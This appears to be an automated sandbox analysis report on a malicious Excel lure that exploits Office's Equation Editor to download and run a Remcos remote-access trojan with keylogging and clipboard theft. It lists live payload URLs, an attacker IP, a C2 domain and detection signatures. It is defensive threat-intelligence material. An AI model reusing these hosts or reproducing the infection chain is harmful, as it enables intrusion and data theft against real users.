00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 73 72 63 00 00 00 00 bc 01 00 00 00 14 00 00 bc 01 00 00 74 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 15 00 00 00 00 00 00 30 15 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 150.171.41.11 150.171.41.11
Source: Joe Sandbox View IP Address: 13.107.137.11 13.107.137.11
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: THEZONEBG THEZONEBG
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: TERASYST-ASBG TERASYST-ASBG
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /download?resid=77E389B66C951B09%21132&authkey=!AD_QXcfalkvUogo HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic HTTP traffic detected: GET /NAvSGzZ HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: qr-in.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/hgnn/hgn/lionsaretotalcontrollingtherulsofthejungletounderstandlionsarekindofjungletogetmebackonfiretogetittrueexperienc__ofhtejunglelions.doc HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 94.156.67.72Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /4020/csrss.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 94.156.67.72Connection: Keep-Alive
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.22:49171 version: TLS 1.0
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.67.72
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D5B380 InternetOpenW,InternetOpenUrlW,InternetReadFile, 8_2_33D5B380
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\CE2FF046.emf Jump to behavior
Source: global traffic HTTP traffic detected: GET /download?resid=77E389B66C951B09%21132&authkey=!AD_QXcfalkvUogo HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic HTTP traffic detected: GET /NAvSGzZ HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: qr-in.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/hgnn/hgn/lionsaretotalcontrollingtherulsofthejungletounderstandlionsarekindofjungletogetmebackonfiretogetittrueexperienc__ofhtejunglelions.doc HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 94.156.67.72Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /4020/csrss.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 94.156.67.72Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
Source: csrss.exe, 00000008.00000002.1007133666.0000000000723000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: global traffic DNS traffic detected: DNS query: qr-in.com
Source: global traffic DNS traffic detected: DNS query: onedrive.live.com
Source: global traffic DNS traffic detected: DNS query: f3rtrw.bl.files.1drv.com
Source: global traffic DNS traffic detected: DNS query: wwsaer.duckdns.org
Source: global traffic DNS traffic detected: DNS query: geoplugin.net
Source: EQNEDT32.EXE, 00000006.00000002.420470851.00000000008EE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://94.156.67.72/4020/csrss.exe
Source: EQNEDT32.EXE, 00000006.00000002.420470851.00000000008EE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://94.156.67.72/4020/csrss.exej
Source: EQNEDT32.EXE, 00000006.00000002.420470851.00000000008EE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://94.156.67.72/4020/csrss.exejjC:
Source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: csrss.exe, 00000008.00000002.1007133666.0000000000723000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: csrss.exe, 00000008.00000002.1007133666.0000000000723000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: csrss.exe, 00000008.00000002.1007133666.0000000000723000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: csrss.exe, 00000008.00000002.1007133666.0000000000723000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: csrss.exe, 00000008.00000002.1007133666.0000000000723000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: csrss.exe, 00000008.00000002.1007133666.0000000000723000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: csrss.exe, 00000008.00000002.1007133666.0000000000723000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: csrss.exe, 00000008.00000002.1007133666.0000000000723000.00000004.00000001.00020000.00000000.sdmp, csrss.exe, 00000008.00000002.1007133666.000000000077F000.00000004.00000001.00020000.00000000.sdmp, Efftwcmk.PIF String found in binary or memory: http://geoplugin.net/json.gp
Source: csrss.exe, 00000008.00000002.1012207860.0000000033DAB000.00000040.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.473812700.000000007DBE0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.470885800.000000002D220000.00000040.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000C.00000002.484496833.00000000272CB000.00000040.00000800.00020000.00000000.sdmp String found in binary or memory: http://geoplugin.net/json.gp/C
Source: csrss.exe, 00000008.00000002.1007133666.0000000000723000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://geoplugin.net/json.gpt
Source: csrss.exe, 00000008.00000002.1007133666.0000000000723000.00000004.00000001.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: csrss.exe, 00000008.00000002.1007133666.0000000000723000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: csrss.exe, 00000008.00000002.1007133666.0000000000723000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: csrss.exe, 00000008.00000002.1007133666.0000000000723000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: csrss.exe, 00000008.00000002.1007133666.0000000000723000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0A
Source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0C
Source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0X
Source: csrss.exe, 00000008.00000002.1007133666.0000000000723000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: csrss.exe, 00000008.00000002.1007133666.0000000000723000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.sectigo.com0
Source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.sectigo.com0C
Source: qr-in.com.url.4.dr String found in binary or memory: http://qr-in.com/
Source: Home Purchase Contract and Property Details.xls, NAvSGzZ.url.4.dr String found in binary or memory: http://qr-in.com/NAvSGzZ
Source: ~DF5534031E748409A6.TMP.0.dr, 0B430000.0.dr String found in binary or memory: http://qr-in.com/NAvSGzZyX
Source: Home Purchase Contract and Property Details.xls, ~DF5534031E748409A6.TMP.0.dr, 31682C44.png.0.dr, ~DF78F515A159E2AA69.TMP.0.dr, 0B430000.0.dr, DF465E1C.emf.0.dr String found in binary or memory: http://www.day.com/dam/1.0
Source: csrss.exe, 00000008.00000002.1007133666.0000000000723000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: csrss.exe, 00000008.00000002.1007133666.0000000000723000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: Efftwcmk.PIF, Efftwcmk.PIF, 0000000B.00000002.464066991.0000000001E92000.00000004.00001000.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.465570467.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474420464.000000007EDB0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.pmail.com
Source: csrss.exe, 00000008.00000002.1007133666.000000000077F000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://f3rtrw.bl.files.1drv.com/y4mAd3mcZPGImnMlQzVaLUaRGLF5rJ6dTRnmjMGEyxD33cnd2H9ImAFk6GH06rI3KMc
Source: csrss.exe, 00000008.00000002.1007133666.0000000000723000.00000004.00000001.00020000.00000000.sdmp, csrss.exe, 00000008.00000002.1007133666.000000000077F000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://f3rtrw.bl.files.1drv.com/y4mx_vDnHSZNTOhTMVLVmQRlGEek-eb6UO4R5ONQLcqQVc4RctseT_K1ezCYuH-Cc-_
Source: csrss.exe, 00000008.00000002.1007133666.0000000000723000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://live.com/
Source: csrss.exe, 00000008.00000002.1011774881.000000003287D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://onedrive.live.com/downlo
Source: csrss.exe, 00000008.00000002.1011774881.0000000032868000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://onedrive.live.com/download?resid=77E389B66C951B09%21132&authkey=
Source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sectigo.com/CPS0
Source: csrss.exe, 00000008.00000002.1007133666.0000000000723000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49171
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49171 -> 443

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Contains functionality to register a low level keyboard hook
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D4A2B8 SetWindowsHookExA 0000000D,33D4A2A4,00000000 8_2_33D4A2B8
Installs a global keyboard hook
Source: C:\Users\user\AppData\Roaming\csrss.exe Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\csrss.exe Jump to behavior
Contains functionality for read data from the clipboard
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D4B70E OpenClipboard,GetClipboardData,CloseClipboard, 8_2_33D4B70E
Contains functionality to read the clipboard data
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D4B70E OpenClipboard,GetClipboardData,CloseClipboard, 8_2_33D4B70E
Contains functionality to retrieve information about pressed keystrokes
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D4A3E0 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx, 8_2_33D4A3E0
Yara detected Keylogger Generic
Source: Yara match File source: Process Memory Space: Efftwcmk.PIF PID: 1696, type: MEMORYSTR

E-Banking Fraud
barindex
Yara detected Remcos RAT
Source: Yara match File source: 11.2.Efftwcmk.PIF.2d220000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.Efftwcmk.PIF.2d220000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000002.463489236.00000000006B2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.479146346.00000000009F3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.473812700.000000007DBE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1007133666.000000000077F000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.470885800.000000002D220000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: csrss.exe PID: 3832, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Efftwcmk.PIF PID: 1696, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Efftwcmk.PIF PID: 920, type: MEMORYSTR
Source: Yara match File source: C:\ProgramData\notes\logs.dat, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands
barindex
Contains functionalty to change the wallpaper
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D5C9E2 SystemParametersInfoW, 8_2_33D5C9E2

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 11.2.Efftwcmk.PIF.2d220000.1.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 11.2.Efftwcmk.PIF.2d220000.1.raw.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Author: unknown
Source: 11.2.Efftwcmk.PIF.2d220000.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 11.2.Efftwcmk.PIF.2d220000.1.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 11.2.Efftwcmk.PIF.2d220000.1.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Author: unknown
Source: 11.2.Efftwcmk.PIF.2d220000.1.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000000C.00000002.484496833.00000000272CB000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000008.00000002.1012207860.0000000033DAB000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0000000B.00000002.473812700.000000007DBE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0000000B.00000002.470885800.000000002D220000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0000000B.00000002.470885800.000000002D220000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0000000B.00000002.470885800.000000002D220000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: Process Memory Space: csrss.exe PID: 3832, type: MEMORYSTR Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: Efftwcmk.PIF PID: 1696, type: MEMORYSTR Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: Efftwcmk.PIF PID: 920, type: MEMORYSTR Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\lionsaretotalcontrollingtherulsofthejungletounderstandlionsarekindofjungletogetmebackonfiretogetittrueexperienc__ofhtejunglelions[1].doc, type: DROPPED Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\398EA60A.doc, type: DROPPED Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: Enable Editing from the 16 9 . . . - Baj jaros Mah. AtatUK yellow bar above " 10 '" " OeE zciler M
Source: Screenshot number: 4 Screenshot OCR: Enable Content from the yellow bar above 20 12 ' " Yoj :1ren KOyU, 1>nakkc 21 13 " Aky Cad. No:
Source: Screenshot number: 16 Screenshot OCR: Enable Content from the yellow bar above t 19 12 ' " VOID -en KOyU, 1>nakk 20 13 " AkW Cad.
Excel sheet contains many unusual embedded objects
Source: Home Purchase Contract and Property Details.xls OLE: Microsoft Excel 2007+
Source: ~DF78F515A159E2AA69.TMP.0.dr OLE: Microsoft Excel 2007+
Source: 0B430000.0.dr OLE: Microsoft Excel 2007+
Microsoft Office drops suspicious files
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\NAvSGzZ.url Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\qr-in.com.url Jump to behavior
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\csrss.exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\csrss[1].exe Jump to dropped file
Abnormal high CPU Usage
Source: C:\Users\user\AppData\Roaming\csrss.exe Process Stats: CPU usage > 49%
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
